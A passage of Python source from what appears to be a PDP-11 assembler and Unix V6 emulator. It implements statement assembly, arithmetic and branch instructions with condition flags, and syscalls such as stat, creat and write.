\"'\": # Single character constant, eg 'x or '\\n\n # Single char constants are stored in the statement (1 word = 2 bytes), with null-padding\n const = self.expr.eval(vm)\n const = const.replace('\\\\n', '\\n')\n vm.mem.write(self.loc, ord(const[1]), byte=True)\n vm.mem.write(self.loc + 1, 0, byte=True)\n\n # Note, ExpressionStmt's that is a label (for example 'aexit' or '9f'), the location for the label is possibly\n # not known yet. For example, 'aexit' is stated, but the 'aexit:'-label statement is further ahead.\n # The locations for labels are written to memory in a second pass, where the resolve method is called.\n\n vm.location_counter += 2\n vm.variables.add(\".\", vm.location_counter)\n\n def resolve(self, vm):\n expr = self.expr.get(vm)\n\n var = vm.variables.get(expr)\n if var:\n vm.mem.write(self.loc, var)\n return\n\n lbl = vm.named_labels.get(expr)\n if lbl:\n vm.mem.write(self.loc, lbl)\n return\n\n if expr[:-1].isdigit() and (expr[-1] == 'f' or expr[-1] == 'b'):\n # We want to find the statement that the numeric label statement is referring to.\n # For example:\n # sys indir; 9f 1168: [204] [206]\n # .data [208]\n # 9: sys stat; 0:..; outbuf [210][212][214][216][218]\n # .text\n #\n # Above is interpreted as:\n # prg.instructions[204] = sys indir, the value 204 is written on memory location 1168\n # prg.instructions[206] = 9f\n # prg.instructions[208] = .data\n # prg.instructions[210] = 9:\n # prg.instructions[212] = sys stat\n # ...etc\n #\n # On memory location 1170 (the one following 1168, where the value 204 is written) we want to write the\n # memory location that contain the program index for \"sys stat\" (this is what \"9:\" is referring to) - 212.\n # \"sys stat\" memory location is located in the data-segment, location 4948 (due to the\n # \".data\" pseudo statement).\n # So, memory[1170] = 4948 and memory[4948] = 212, and prg.instructions[212] = \"sys stat\".\n #\n # The logic below is:\n # - get the array for the numeric label \"9\" into numeric_lbls variable, these are memory locations\n # - for each value/memory location in numeric_lbls, read the memory value, these are indexes into\n # prg.instructions, and store in variable lbl_instr_locations.\n # - for forward labels, find the value closest, but bigger than the current statements index,\n # into instr_loc variable. Example:\n # current statement index is 206, the closest but bigger value in lbl_instr_locations is 212.\n # Using the index for value 212 in lbl_instr_locations, that is 4, we look up the 4th value in\n # numeric_lbls.\n #\n # numeric_lbls[9] = [4918, 496, 4942, 4948, 4954, 4968, 4972]\n # lbl_instr_locations = [46, 154, 178, 212, 234, 804, 1082]\n # instr_loc = 212, value closest but bigger than 206\n # val = numeric_lbls[index for 212 in lbl_instr_locations = 4] = 4948\n # write 4948 on self.loc = 1170\n #\n\n instr = None\n label_prg_index = None\n this_prg_index = vm.prg.instructions.index(self)\n if expr[-1] == 'f':\n for instr in vm.prg.instructions[this_prg_index:]:\n if instr is None:\n continue\n\n if instr.type() == 'LabelStmt' and instr.expr == expr[0]:\n label_prg_index = vm.prg.instructions.index(instr) + 2\n break\n for instr in vm.prg.instructions[label_prg_index:]:\n if instr is None:\n continue\n\n if instr.type() != 'LabelStmt':\n break\n else:\n for instr in vm.prg.instructions[this_prg_index::-1]:\n if instr is None:\n continue\n\n if instr.type() == 'LabelStmt' and instr.expr == expr[0]:\n label_prg_index = vm.prg.instructions.index(instr) - 0 # 2\n break\n for instr in vm.prg.instructions[label_prg_index:]:\n if instr is None:\n continue\n\n if instr.type() != 'LabelStmt':\n break\n vm.mem.write(self.loc, instr.loc)\n\n\nclass StringStmt(Stmt):\n def __init__(self, lineno, expr):\n s = expr[1:-1] # skip \"<\" and \">\" markers\n s = s.replace(\"\\\\0\", \"\\x00\")\n s = s.replace(\"\\\\n\", \"\\n\")\n\n super().__init__(lineno, s)\n\n def assemble(self, vm):\n # String statements, for example, <abc\\0> (4 bytes, brackets not included), each character is stored on\n # consecutive memory locations (thus, location counter might be odd as a result).\n\n self.loc = vm.location_counter\n for ch in self.expr:\n vm.mem.write(vm.location_counter, ord(ch), byte=True)\n vm.location_counter += 1\n vm.variables.add(\".\", vm.location_counter)\n\n\nclass KeywordStmt(Stmt):\n def __init__(self, lineno, expr, src=None, dst=None):\n super().__init__(lineno, expr)\n self.src = src\n self.dst = dst\n self.address = None\n\n def dump(self, vm):\n lineno_str = str(self.lineno) + \": \"\n kw_str = str(self)\n byte = self.expr[-1] == 'b' and self.expr != 'swab' # Assume byte-type keywords ends with 'b', except swab\n\n if self.src is not None and self.dst is not None:\n self.src.pre_dump_update(vm, byte=byte)\n self.dst.pre_dump_update(vm, byte=byte)\n\n if self.expr in ['jsr', 'sob']:\n dst_str = str(self.dst.eval_address(vm))\n else:\n dst_str = str(self.dst.eval(vm, byte=False))\n\n\n dump_str = \"{:<8}{:<30}{:<15}{:<15}\".format(lineno_str, kw_str,\n \"src: \" + str(self.src.eval(vm, byte=False)),\n \"dst: \" + dst_str)\n\n self.src.post_dump_update(vm, byte=byte)\n self.dst.post_dump_update(vm, byte=byte)\n\n return dump_str\n\n if self.src is not None:\n self.src.pre_dump_update(vm, byte=byte)\n\n if self.expr in ['jmp', 'br', 'bcs', 'bne', 'bec', 'bes', 'blos', 'bpl', 'bge',\n 'beq', 'bhi', 'blo', 'blt', 'bgt', 'ble', 'bhis', 'bcc', 'bvs', 'bmi']:\n src_str = str(self.src.eval_address(vm, byte=byte))\n else:\n src_str = str(self.src.eval(vm, byte=byte))\n\n dump_str = \"{:<8}{:<30}{:<15}{:<15}\".format(lineno_str,\n kw_str,\n \"src: \" + src_str,\n \"\")\n\n self.src.post_dump_update(vm, byte=byte)\n\n return dump_str\n\n else:\n return \"{:<8}{:<30}{:<15}{:<15}\".format(str(self.lineno), self.expr, \"\", \"\")\n\n def __str__(self):\n if self.src is not None and self.dst is not None:\n return self.expr + \" \" + str(self.src) + \", \" + str(self.dst)\n if self.src is not None:\n return self.expr + \" \" + str(self.src)\n else:\n return self.expr\n\n def assemble(self, vm):\n # KeywordStmt's can be \"mov r0, r1\" or \"jsr start\" etc. They normally update location counter by 2.\n # However, for certain modes of the src/dst operators additional updates is needed, this is returned by\n # the operators words-method. Nothing is written to memory for keywords.\n\n self.loc = vm.location_counter\n vm.mem.write(self.loc, vm.prg.instructions.index(self))\n vm.location_counter += 2\n\n if self.src:\n if self.expr not in ['br', 'bcs', 'bne', 'bec', 'bes', 'blos', 'bpl', 'bge',\n 'beq', 'bhi', 'blo', 'blt', 'bgt', 'ble', 'bhis', 'bcc', 'bvs', 'bmi']:\n vm.location_counter += (self.src.words() * 2)\n\n if self.dst:\n if self.expr not in ['sob']:\n vm.location_counter += (self.dst.words() * 2)\n\n vm.variables.add(\".\", vm.location_counter)\n\n def _exec_simple(self, vm):\n PSW = vm.PSW.get()\n if self.expr == 'sev':\n PSW['V'] = 1\n else:\n assert False, \"exec_simple, not implemented {}\".format(self.expr)\n vm.PSW.set(PSW)\n vm.incr_PC()\n\n def _exec_single(self, vm):\n byte = self.expr in ['rorb', 'rolb', 'adcb', 'negb', 'tstb', 'incb', 'decb', 'clrb', 'comb', 'aslb', 'asrb']\n msb = 0x80 if byte else 0x8000\n\n self.src.pre_addr_update(vm, byte=byte)\n\n PSW = vm.PSW.get()\n\n if self.expr in ['jmp', 'br', 'bcs', 'bne', 'bec', 'bes', 'blos', 'bpl', 'bge',\n 'beq', 'bhi', 'blo', 'blt', 'bgt', 'ble', 'bhis', 'bcc', 'bvs', 'bmi']:\n # branch and jump instructions\n op = self.src.eval_address(vm)\n\n if self.expr == 'jmp':\n do_branch = True\n elif self.expr == 'br':\n do_branch = True\n elif self.expr in ['bcs', 'bes', 'blo']:\n do_branch = PSW['C'] == 1\n elif self.expr == 'bne':\n do_branch = PSW['Z'] == 0\n elif self.expr == 'bec':\n do_branch = PSW['C'] == 0\n elif self.expr == 'blos':\n do_branch = (PSW['C'] | PSW['Z']) == 1\n elif self.expr == 'beq':\n do_branch = PSW['Z'] == 1\n elif self.expr == 'bhi':\n do_branch = (PSW['C'] | PSW['Z']) == 0\n elif self.expr == 'blt':\n do_branch = (PSW['N'] ^ PSW['V']) == 1\n elif self.expr == 'bge':\n do_branch = (PSW['N'] ^ PSW['V']) == 0\n elif self.expr == 'bgt':\n do_branch = (PSW['Z'] | (PSW['N'] ^ PSW['V'])) == 0\n elif self.expr == 'ble':\n do_branch = (PSW['Z'] | (PSW['N'] ^ PSW['V'])) == 1\n elif self.expr in ['bhis', 'bcc']:\n do_branch = PSW['C'] == 0\n elif self.expr == 'bpl':\n do_branch = PSW['N'] == 0\n elif self.expr == 'bvs':\n do_branch = PSW['V'] == 1\n elif self.expr == 'bmi':\n do_branch = PSW['N'] == 1\n else:\n do_branch = False\n\n vm.set_PC(op) if do_branch else vm.incr_PC()\n\n elif self.expr == 'rts':\n # Return from subroutine\n op = self.src.eval(vm)\n vm.set_PC(op)\n self.src.set(vm, vm.stack_pop())\n\n elif self.expr in ['ror', 'rorb']:\n # Rotate right, shift operand right, move the lowest bit in carry\n val = self.src.eval(vm)\n val &= 0xFF if byte else 0xFFFF\n carry = PSW['C']\n PSW['C'] = val & 1\n\n if byte:\n # The manual is ambiguous on byte operation, when general registers is used, byte operates on bit 0 - 7\n val = (val >> 1) | ((val & 1) << 7)\n else:\n val = (val >> 1) | (carry << 15)\n\n self.src.set(vm, val, byte=byte)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n\n PSW['V'] = PSW['N'] ^ PSW['C']\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr in ['rol', 'rolb']:\n # Rotate left, shift operand left, move the lowest bit in carry\n val = self.src.eval(vm)\n val &= 0xFF if byte else 0xFFFF\n carry = val & msb\n\n val = (val << 1) | PSW['C']\n\n self.src.set(vm, val, byte=False)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n PSW['C'] = 1 if carry else 0\n PSW['V'] = PSW['N'] ^ PSW['C']\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr in ['adc', 'adcb']:\n # Add carry\n val = self.src.eval(vm)\n val &= 0xFF if byte else 0xFFFF\n\n val = val + PSW['C']\n overflow = val == msb\n\n if byte:\n carry = val == 0x100\n else:\n carry = val == 0x10000\n\n self.src.set(vm, val, byte=byte)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n PSW['C'] = 1 if carry else 0\n PSW['V'] = 1 if overflow else 0\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr in ['neg', 'negb']:\n val = self.src.eval(vm)\n val &= 0xFF if byte else 0xFFFF\n\n val = util.from_2_compl(val, byte)\n val = -val\n val = util.to_2_compl(val, byte)\n\n self.src.set(vm, val, byte=byte)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n PSW['C'] = 0 if val == 0 else 1\n PSW['V'] = 1 if val & msb else 0\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr in ['tst', 'tstb']:\n # Test, set condition flags\n val = self.src.eval(vm)\n val &= 0xFF if byte else 0xFFFF\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n PSW['V'] = 0\n PSW['C'] = 0\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr in ['inc', 'incb']:\n # Increment\n val = self.src.eval(vm)\n val &= 0xFF if byte else 0xFFFF\n\n overflow = val == (msb - 1)\n val += 1\n val = val & 0xFF if byte else val & 0xFFFF\n\n self.src.set(vm, val, byte=byte)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n PSW['V'] = 1 if overflow else 0\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr in ['dec', 'decb']:\n # Decrement\n val = self.src.eval(vm)\n val &= 0xFF if byte else 0xFFFF\n\n overflow = val == msb\n val -= 1\n\n val = util.to_2_compl(val, byte=byte)\n self.src.set(vm, val, byte=byte)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n PSW['V'] = 1 if overflow else 0\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr in ['clr', 'clrb']:\n # Clear\n self.src.set(vm, 0, byte=byte)\n\n PSW['N'] = 0\n PSW['Z'] = 1\n PSW['V'] = 0\n PSW['C'] = 0\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr == 'swab':\n # Swap bytes\n val = self.src.eval(vm)\n\n low_byte = val & 0xFF\n high_byte = val & 0xFF00\n val = (low_byte << 8) | (high_byte >> 8)\n self.src.set(vm, val)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val & 0xFF == 0 else 0\n PSW['V'] = 0\n PSW['C'] = 0\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr in ['com', 'comb']:\n # Complement\n val = self.src.eval(vm)\n\n val = ~val\n val = util.to_2_compl(val, byte)\n\n self.src.set(vm, val, byte=byte)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n PSW['V'] = 0\n PSW['C'] = 1\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr in ['asl', 'aslb']:\n # Arithmetic shift left\n val = self.src.eval(vm)\n val &= 0xFF if byte else 0xFFFF\n\n if byte:\n # The manual is ambiguous on byte operation, when general registers is used, byte operates on bit 0 - 7\n PSW['C'] = (val & msb) >> 7\n else:\n PSW['C'] = (val & msb) >> 15\n\n val <<= 1\n\n self.src.set(vm, val, byte=False)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n PSW['V'] = PSW['N'] ^ PSW['C']\n\n vm.incr_PC(1 + self.src.words())\n\n elif self.expr in ['asr', 'asrb']:\n # Arithmetic shift right\n val = self.src.eval(vm)\n val &= 0xFF if byte else 0xFFFF\n\n PSW['C'] = val & 1\n\n val = (val >> 1) | (val & msb)\n\n self.src.set(vm, val, byte=byte)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n PSW['V'] = PSW['N'] ^ PSW['C']\n\n vm.incr_PC(1 + self.src.words())\n\n else:\n assert False, \"exec_single, not implemented {}\".format(self.expr)\n\n self.src.post_addr_update(vm, byte=byte)\n vm.PSW.set(PSW)\n\n def _exec_double(self, vm):\n byte = self.expr in ['movb', 'cmpb', 'bicb', 'bisb', 'bitb']\n msb = 0x80 if byte else 0x8000\n max = 0xFF if byte else 0xFFFF\n\n self.src.pre_addr_update(vm, byte=byte)\n self.dst.pre_addr_update(vm, byte=byte)\n\n PSW = vm.PSW.get()\n\n if self.expr in ['mov', 'movb']:\n # Move\n val = self.src.eval(vm)\n val &= 0xFF if byte else 0xFFFF\n if self.expr == 'movb' and val & msb and isinstance(self.dst, as_expr.AddrRegister): # sign extend\n val = 0xFF00 | val\n self.dst.set(vm, val)\n else:\n self.dst.set(vm, val, byte=byte)\n\n PSW['N'] = 1 if val & msb else 0\n PSW['Z'] = 1 if val == 0 else 0\n PSW['V'] = 0\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n elif self.expr in ['cmp', 'cmpb']:\n # Compare\n src = self.src.eval(vm)\n src &= 0xFF if byte else 0xFFFF\n\n dst = self.dst.eval(vm)\n dst &= 0xFF if byte else 0xFFFF\n\n res = src - dst\n\n PSW['N'] = 1 if res & msb else 0\n PSW['Z'] = 1 if res == 0 else 0\n PSW['V'] = 1 if ((src ^ dst) & msb) and not ((dst ^ res) & msb) else 0\n PSW['C'] = 1 if src < dst else 0\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n elif self.expr == 'jsr':\n # Jump subroutine\n pc_val = vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n src = self.src.eval(vm)\n dst = self.dst.eval_address(vm)\n\n vm.stack_push(src)\n self.src.set(vm, pc_val)\n\n vm.set_PC(dst)\n\n elif self.expr == 'add':\n # Add :-)\n src = self.src.eval(vm)\n dst = self.dst.eval(vm)\n\n res = src + dst\n res = util.to_2_compl(res, byte=False)\n\n self.dst.set(vm, res)\n\n PSW['N'] = 1 if res & msb else 0\n PSW['Z'] = 1 if res == 0 else 0\n PSW['V'] = 1 if not ((src ^ dst) & msb) and ((dst ^ res) & msb) else 0\n PSW['C'] = 1 if res >= 0xFFFF else 0\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n elif self.expr == 'sub':\n # Subtract\n src = self.src.eval(vm)\n dst = self.dst.eval(vm)\n\n res = dst + ~src + 1\n res = util.to_2_compl(res, byte=False)\n\n self.dst.set(vm, res)\n\n PSW['N'] = 1 if res & msb else 0\n PSW['Z'] = 1 if res == 0 else 0\n PSW['V'] = 1 if ((src ^ dst) & msb) and not ((dst ^ res) & msb) else 0\n PSW['C'] = 1 if src > dst else 0\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n elif self.expr in ['mul', 'mpy']:\n # Multiply\n src = self.src.eval(vm)\n\n reg_list = list(vm.register)\n dst_reg = reg_list[reg_list.index(self.dst.reg)]\n dst = vm.register[dst_reg]\n\n res = dst * src\n res = util.to_2_compl(res, byte=False)\n\n if reg_list.index(self.dst.reg) % 2 == 0:\n vm.register[dst_reg + 1] = (res & 0xFFFF0000) >> 16\n vm.register[dst_reg] = res & 0xFFFF\n\n PSW['N'] = 1 if res & 0x80000000 else 0\n PSW['Z'] = 1 if (res & 0xFFFFFFFF) == 0 else 0\n PSW['V'] = 0\n PSW['C'] = 1 if res < (1 << 15) or res >= ((1 << 15) - 1) else 0\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n elif self.expr in ['div', 'dvd']:\n # Divide\n reg_list = list(vm.register)\n\n src = self.src.eval(vm)\n\n dst = vm.register[reg_list[reg_list.index(self.dst.reg) + 1]]\n\n if src == 0:\n PSW['C'] = 1\n else:\n qt, mod = divmod(dst, src)\n qt = util.to_2_compl(qt, byte=False)\n mod = util.to_2_compl(mod, byte=False)\n\n self.dst.set(vm, qt)\n vm.register[reg_list[reg_list.index(self.dst.reg) + 1]] = mod\n\n PSW['N'] = 1 if qt & msb else 0\n PSW['Z'] = 1 if qt == 0 else 0\n PSW['V'] = 0\n PSW['C'] = 0\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n elif self.expr == 'sob':\n # Subtract 1 and branch if not 0\n src = self.src.eval(vm)\n src -= 1\n src = util.to_2_compl(src)\n self.src.set(vm, src)\n\n if src != 0:\n dst_val = self.dst.eval_address(vm)\n vm.set_PC(dst_val)\n else:\n vm.incr_PC()\n\n elif self.expr == 'ashc':\n # Arithmetic shift combined\n src_val = self.src.eval(vm)\n dst_val = self.dst.eval(vm)\n\n shift = src_val & 0x3F # Only six bits are valid\n\n reg_list = list(vm.register)\n reg_low = reg_list[reg_list.index(self.dst.reg) + 1]\n reg_low_val = vm.register[reg_low]\n\n if shift & 0x20: # Right shift\n shift = (0x3F ^ src_val) + 1\n\n high_carry = dst_val & 0x0001\n\n res_low = ((high_carry << 16) | (reg_low_val >> shift)) & 0xFFFF\n res_high = (dst_val >> shift) & 0xFFFF\n res = res_high << 16 | res_low\n\n vm.register[reg_low] = res_low\n self.dst.set(vm, res_high)\n\n carry = 1 if reg_low_val & 0x0001 else 0\n else: # left shift\n low_carry = reg_low_val & 0x8000\n\n res_high = ((dst_val << shift) | low_carry) & 0xFFFF\n res_low = (reg_low_val << shift) & 0xFFFF\n res = res_high << 16 | res_low\n\n vm.register[reg_low] = res_low\n self.dst.set(vm, res_high)\n carry = 1 if dst_val & 0x8000 else 0\n\n PSW['N'] = 1 if res & 0x80000000 else 0\n PSW['Z'] = 1 if res == 0 else 0\n PSW['V'] = 1 if util.xor(res & 0x80000000, dst_val & 0x80000000) else 0\n PSW['C'] = carry\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n elif self.expr in ['als', 'ash']:\n # Arithmetic shift left\n src_val = self.src.eval(vm)\n dst_val = self.dst.eval(vm)\n\n shift = src_val & 0x3F # Only six bits are valid\n\n if shift & 0x20: # Right shift\n shift = (0x3F ^ src_val) + 1\n carry = dst_val & 0x01\n res = dst_val >> shift\n else:\n carry = 1 if dst_val & 0x8000 else 0\n res = dst_val << shift\n\n self.dst.set(vm, res)\n\n PSW['N'] = 1 if res & msb else 0\n PSW['Z'] = 1 if res == 0 else 0\n PSW['V'] = 1 if util.xor(res & 0x8000, dst_val & 0x8000) else 0\n PSW['C'] = carry\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n elif self.expr in ['bic', 'bicb']:\n # Bit clear\n src = self.src.eval(vm)\n src &= 0xFF if byte else 0xFFFF\n\n dst = self.dst.eval(vm)\n dst &= 0xFF if byte else 0xFFFF\n\n res = (max ^ src) & dst\n self.dst.set(vm, res, byte=byte)\n\n PSW['N'] = 1 if res & msb else 0\n PSW['Z'] = 1 if res == 0 else 0\n PSW['V'] = 0\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n elif self.expr in ['bis', 'bisb']:\n # Bit set\n src = self.src.eval(vm)\n src &= 0xFF if byte else 0xFFFF\n\n dst = self.dst.eval(vm)\n dst &= 0xFF if byte else 0xFFFF\n\n res = src | dst\n self.dst.set(vm, res, byte=byte)\n\n PSW['N'] = 1 if res & msb else 0\n PSW['Z'] = 1 if res == 0 else 0\n PSW['V'] = 0\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n elif self.expr in ['bit', 'bitb']:\n # Bit and\n src = self.src.eval(vm)\n src &= 0xFF if byte else 0xFFFF\n\n dst = self.dst.eval(vm)\n dst &= 0xFF if byte else 0xFFFF\n\n res = src & dst\n\n PSW['N'] = 1 if res & msb else 0\n PSW['Z'] = 1 if res == 0 else 0\n PSW['V'] = 0\n\n vm.incr_PC(1 + self.src.words() + self.dst.words())\n\n else:\n assert False, \"exec_double, not implemented {}, lineno: {}\".format(self.expr, self.lineno)\n\n self.src.post_addr_update(vm, byte=byte)\n self.dst.post_addr_update(vm, byte=byte)\n vm.PSW.set(PSW)\n\n def exec(self, vm):\n # NB! Set the location counter value when we execute this instruction\n # This is because operands to instructions might use the location counter, for example \"br .+4\"\n # eval_address will resolve this (using BinaryExpression) and lookup \".\" as a variable, hence we need to\n # set the value for every instruction.\n vm.variables.add('.', self.loc)\n\n if not self.src and not self.dst:\n self._exec_simple(vm)\n elif self.src and not self.dst:\n self._exec_single(vm)\n elif self.src and self.dst:\n self._exec_double(vm)\n else:\n assert False, \"KeywordStmt, Unknown statement type: {}\".format(str(self))\n\n\nclass AssignmentStmt(Stmt):\n def __init__(self, lineno, left, right):\n super().__init__(lineno, None)\n self.left = left\n self.right = right\n\n def __str__(self):\n return str(self.left) + \"=\" + str(self.right)\n\n def assemble(self, vm):\n # AssignmentStmt's are \"a = 1\". The left operator is added to variables together with the assigned value.\n # One case of assignments can be to assign the location operator (\".\"), like \". = . + 2\" (location operator\n # is updated with 2 in the code). The \"right.eval(vm)\"-call will take of unary/binary expressions and return\n # a value.\n # Note that the instruction as such is not assembled into memory, there is no op-code for this instruction.\n # Thus, it is resolved before execution. An implication of this is that assignments is for static variables.\n left = self.left.get(vm)\n right = self.right.eval(vm)\n vm.variables.add(left, right)\n\n self.loc = vm.location_counter\n if left == '.':\n vm.location_counter = right\n\n\nclass ConstStmt(Stmt):\n def __init__(self, lineno, const):\n super().__init__(lineno, const[1:].replace('\\\\n', '\\n'))\n\n def assemble(self, vm):\n # A ConstStmt is \"ab\", ie always 2 characters (with a \"-prefix in the code, but stripped during parsing).\n # We write the value of the 2 characters to memory\n self.loc = vm.location_counter\n for ch in self.expr:\n vm.mem.write(vm.location_counter, ord(ch), byte=True)\n vm.location_counter += 1\n vm.variables.add(\".\", vm.location_counter)\n\n\nclass SyscallStmt(Stmt):\n def __init__(self, lineno, syscall, operands=None):\n super().__init__(lineno, syscall)\n self.operands = operands\n\n def dump(self, vm):\n lineno_str = str(self.lineno) + \": \"\n kw_str = \"sys \" + self.expr\n op_str = \"\"\n if self.operands and type(self.operands) == list:\n for op in self.operands:\n op_str += (str(op) + \", \")\n else:\n if self.operands:\n op_str = str(self.operands)\n\n return \"{:<8}{:<30}{:<15}{:<15}\".format(lineno_str, kw_str, \"ops:\", op_str, \"\")\n\n def __str__(self):\n op_str = \"\"\n if self.operands and type(self.operands) == list:\n for op in self.operands:\n op_str += (str(op) + \"\\t\")\n else:\n if self.operands:\n op_str = str(self.operands)\n return \"sys\" + \"\\t\" + self.expr + \"\\t\" + op_str\n\n def assemble(self, vm):\n # SyscallStmt can be \"sys write\", thus like a keyword statement. Update location counter but don't\n # write to memory.\n self.loc = vm.location_counter\n vm.mem.write(self.loc, vm.prg.instructions.index(self))\n vm.location_counter += 2\n vm.variables.add(\".\", vm.location_counter)\n\n def exec(self, vm):\n vm.variables.add('.', self.loc)\n\n if self.expr == 'signal':\n # sys signal; sig; label; See http://man.cat-v.org/unix-6th/2/signal\n # Note, sig and label are parameters to the signal syscall, as 2 statements. These statements\n # are written to memory in the first assemble pass or in the second resolve pass (if a named label is used)\n # Hence we read the values directly from memory below.\n\n vm.incr_PC()\n sig = vm.mem.read(vm.get_PC(), 2)\n\n vm.incr_PC()\n lbl = vm.mem.read(vm.get_PC(), 2)\n\n action_str = \"terminate and jump to {} (location {}) on \".format(vm.named_labels.get_key(lbl), lbl) \\\n if lbl % 2 == 0 else \"ignore \"\n vm.sys_sig_status[vm.sig_list[sig]] = action_str\n\n vm.incr_PC()\n\n elif self.expr == 'indir':\n # sys indir; syscall\n vm.incr_PC()\n\n syscall_address = vm.mem.read(vm.get_PC(), 2)\n syscall_instr_ind = vm.mem.read(syscall_address, 2)\n\n current_pc = vm.get_PC()\n vm.set_PC(syscall_address)\n\n if vm.prg:\n vm.logger.debug(f\"sys indir, calling {vm.prg.instructions[syscall_instr_ind]}\")\n vm.prg.instructions[syscall_instr_ind].exec(vm)\n vm.set_PC(current_pc)\n vm.incr_PC()\n\n elif self.expr == 'stat':\n # sys stat; name; buf\n vm.incr_PC()\n\n PSW = vm.PSW.get()\n\n fn_addr = vm.mem.read(vm.get_PC(), 2)\n ch = vm.mem.read(fn_addr, 1)\n fn = \"\"\n while ch != 0:\n fn += chr(ch)\n fn_addr += 1\n ch = vm.mem.read(fn_addr, 1)\n\n vm.logger.debug('sys stat {}'.format(fn))\n\n try:\n statinfo = os.stat(fn)\n\n st_dev = statinfo[stat.ST_DEV]\n\n modtime = statinfo[stat.ST_MTIME] & 0xFFFFFFFF # 4 bytes\n val = modtime\n byte_offset = 4 * 8\n\n actime = statinfo[stat.ST_ATIME] & 0xFFFFFFFF # 4 bytes\n val = val | (actime << byte_offset)\n byte_offset = (4 + 4) * 8\n\n addr = statinfo.st_blocks & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF # 16 bytes\n val = val | (addr << byte_offset)\n byte_offset = (4 + 4 + 16) * 8\n\n size = statinfo[stat.ST_SIZE] & 0xFFFFFF # 3 bytes\n val = val | (size << byte_offset)\n byte_offset = (4 + 4 + 16 + 3) * 8\n\n gid = statinfo[stat.ST_GID] & 0xFF # 1 byte\n val = val | (gid << byte_offset)\n byte_offset = (4 + 4 + 16 + 3 + 1) * 8\n\n uid = statinfo[stat.ST_UID] & 0xFF # 1 byte\n val = val | (uid << byte_offset)\n byte_offset = (4 + 4 + 16 + 3 + 1 + 1) * 8\n\n nlinks = statinfo[stat.ST_NLINK] & 0xFF # 1 byte\n val = val | (nlinks << byte_offset)\n byte_offset = (4 + 4 + 16 + 3 + 1 + 1 + 1) * 8\n\n flags = statinfo[stat.ST_MODE] & 0xFFFF # 2 bytes\n val = val | (flags << byte_offset)\n byte_offset = (4 + 4 + 16 + 3 + 1 + 1 + 1 + 2) * 8\n\n inumber = statinfo[stat.ST_INO] & 0xFFFF # 2 bytes\n val = val | (inumber << byte_offset)\n byte_offset = (4 + 4 + 16 + 3 + 1 + 1 + 1 + 2 + 2) * 8\n\n major = int(st_dev >> 8 & 0xFF) # 1 byte\n val = val | (major << byte_offset)\n byte_offset = (4 + 4 + 16 + 3 + 1 + 1 + 1 + 2 + 2 + 1) * 8\n\n minor = int(st_dev & 0xFF) # 1 byte\n val = val | (minor << byte_offset)\n\n vm.incr_PC()\n\n buf_addr = vm.mem.read(vm.get_PC(), 2)\n vm.mem.write(buf_addr, val)\n\n PSW['C'] = 0\n\n except FileNotFoundError:\n PSW['C'] = 1\n finally:\n vm.PSW.set(PSW)\n\n elif self.expr == 'creat':\n # sys creat; name; mode\n # (file descriptor in r0)\n\n vm.incr_PC()\n\n PSW = vm.PSW.get()\n\n fn_addr = vm.mem.read(vm.get_PC(), 2)\n ch = vm.mem.read(fn_addr, 1)\n fn = \"\"\n while ch != 0:\n fn += chr(ch)\n fn_addr += 1\n ch = vm.mem.read(fn_addr, 1)\n\n vm.incr_PC()\n\n mode = vm.mem.read(vm.get_PC(), 2)\n\n fd = os.open(fn, os.O_CREAT | os.O_RDWR, mode)\n vm.logger.info('sys creat {} (fd={})'.format(fn, fd))\n\n PSW['C'] = 0\n vm.register['r0'] = fd\n vm.files[fd] = fn\n\n vm.PSW.set(PSW)\n\n vm.incr_PC()\n\n elif self.expr == 'write':\n # (file descriptor in r0)\n # sys write; buffer; nbytes\n\n vm.incr_PC()\n\n buffer_addr = vm.mem.read(vm.get_PC(), 2)\n\n vm.incr_PC()\n nbytes = vm.mem.read(vm.get_PC(), 2)\n\n byte_string = []\n for i in range(nbytes):\n val = vm.mem.read(buffer_addr + i, 1)\n byte_string.append(val)\n\n byte_string = bytes(byte_string)\n\n bytes_written = os.write(vm.register['r0'], byte_string)\n vm.logger.debug('sys write {} (fd={}), {} bytes'.format(vm.files[vm.register['r0']],\n vm.register['r0'], bytes_written))\n\n vm.register['r0'] = bytes_written\n\n vm.incr_PC()\n\n elif self.expr == 'open':\n # sys open; name; mode\n # (file descriptor in r0)\n\n PSW = vm.PSW.get()\n\n vm.incr_PC()\n\n fn_addr = vm.mem.read(vm.get_PC(), 2)\n ch = 